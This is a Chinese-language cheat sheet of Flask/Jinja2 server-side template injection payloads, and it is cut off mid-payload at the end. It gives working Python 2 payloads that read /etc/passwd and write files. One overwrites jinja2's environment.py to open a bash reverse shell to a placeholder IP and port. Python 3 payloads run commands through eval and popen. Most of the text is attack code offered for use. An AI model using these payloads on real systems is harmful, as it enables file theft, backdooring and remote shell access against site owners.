Flask jinja2 模板注入思路总结
前言
虽然这个漏洞已经出现很久了, 不过偶尔还是能够看到翻了翻 freebuf 上好像只有 python2 的一些 payload, 方法也不是很全我找来找去也走了些弯路, 小白们可以参考一下如果有什么错误, 欢迎各位指正
漏洞简介
漏洞原理可以参考http://www.freebuf.com/articles/web/98619.html
http://www.freebuf.com/articles/web/98928.html
常见 payload
ssti 可以用于 xss, 不过这里不具体介绍; 前面两篇文章给出了几个比较常用的 getshell 的 payload; 我会总结并补充一些python2:
# 注入变量执行命令详见 http://www.freebuf.com/articles/web/98928.html
# 读文件:
{ {''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
# 写文件:
{ {''.__class__.__mro__[2].__subclasses__()[40]('/tmp/1').write("")}}
也可以通过写 jinja2 的 environment.py 执行命令; jinja2 的模板会 load 这个 module, 而且这个 environment.py import 了 os 模块, 所以只要能写这个文件, 就可以执行任意命令:# 假设在 / usr/lib/python2.7/dist-packages/jinja2/environment.py, 弹一个 shell
{ {''.__class__.__mro__[2].__subclasses__()[40]('/usr/lib/python2.7/dist-packages/jinja2/environment.py').write("\nos.system('bash -i >& /dev/tcp/[IP_ADDR]/[PORT] 0>&1')")}}
python3:
# 命令执行:
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{ {c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}{%endif%}{%endfor%}
# 文件操作
{%forcin[].__class__.__base__.__subclasses__()%}{%ifc.__name__=='catch_warnings'%}{ {c.__init__.__globals__['__builtins__'].open('filename','r'